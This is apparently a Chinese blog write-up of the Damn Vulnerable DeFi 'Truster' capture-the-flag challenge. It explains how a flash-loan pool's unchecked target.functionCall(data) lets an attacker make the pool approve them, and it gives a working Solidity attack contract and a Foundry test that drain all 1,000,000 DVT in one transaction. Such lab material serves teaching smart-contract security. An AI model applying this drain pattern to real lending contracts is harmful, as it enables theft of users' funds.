3.Truster 介绍,漏洞代码,攻击代码,思路
越来越多的借贷池开始提供闪贷服务。本场景中,一个新上线的借贷池推出了 免费的 DVT 代币闪贷(无需支付手续费)。
该借贷池持有 100 万枚 DVT 代币,而你初始一无所有。
要完成本挑战,需通过 单笔交易 提取借贷池中的全部资金,并将这些资金存入指定的恢复账户(recovery account)。
pool的flashLone中
//@audit-issue :允许任意数据以pool的名义调用
target.functionCall(data);
contract Attacker {
function attack(TrusterLenderPool pool, DamnValuableToken token, address recovery) external {
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), 1_000_000e18);
pool.flashLoan(0, msg.sender, address(token), data);
token.transferFrom(address(pool), recovery, 1_000_000e18);
}
}
function test_truster() public checkSolvedByPlayer {
//console.log("Nonce before new Attacker:", vm.getNonce(player));
Attacker attacker = new Attacker(); // 增加 nonce
//console.log("Nonce after new Attacker:", vm.getNonce(player));
attacker.attack(pool, token, recovery);
//console.log("Nonce after attack call:", vm.getNonce(player));
}
之所以要部署攻击代码在一个新的合约上,是因为在 Foundry 测试中,vm.startPrank 只是设置了 msg.sender,但没有真正发送链上交易,所以 vm.getNonce(player) 仍然是 0。 只有部署合约才会真正发送一笔交易,从而让player的nonce增加,达到作者要求的player只执行一笔交易的要求。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!